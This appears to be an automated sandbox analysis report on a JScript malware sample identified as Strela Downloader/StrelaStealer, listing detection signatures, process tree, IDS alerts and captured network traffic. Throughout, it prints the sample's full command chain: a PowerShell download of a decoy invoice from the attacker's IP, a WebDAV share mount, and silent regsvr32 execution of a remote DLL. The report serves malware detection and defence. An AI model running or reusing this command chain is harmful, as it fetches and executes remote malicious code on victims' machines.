Edit tour

Windows Analysis Report
3141714165326508962.js

Overview

General Information

Sample name:	3141714165326508962.js
Analysis ID:	1588515
MD5:	89f1b508679b17e9bc053551297c2da2
SHA1:	fba7a53a70216d79c1e3d9286c8e907ebfc7e615
SHA256:	f8ccfd8cb55dd5e8825279f0b9eee4e71614682d6ded2a369e368918c3fb8230
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2788 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3141714165326508962.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5484 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1096 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6460 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4884 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6060 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1368,i,1435203139519597145,8076865960399547240,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1364 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5532 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4876 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2788	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5484, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1096, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5484, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1096, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3141714165326508962.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3141714165326508962.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3141714165326508962.js", ProcessId: 2788, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5532, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3141714165326508962.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, ProcessId: 5484, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3141714165326508962.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, ProcessId: 5484, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3141714165326508962.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, ProcessId: 5484, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3141714165326508962.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, ProcessId: 5484, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3141714165326508962.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, ProcessId: 5484, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3141714165326508962.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3141714165326508962.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3141714165326508962.js", ProcessId: 2788, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5484, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1096, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1364, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5532, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4876, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1364, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5532, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3141714165326508962.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll, ProcessId: 5484, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:58:51.107866+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:58:53.642698+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:58:51.107866+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 3141714165326508962.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 3141714165326508962.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 3141714165326508962.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49709 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:58:50 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 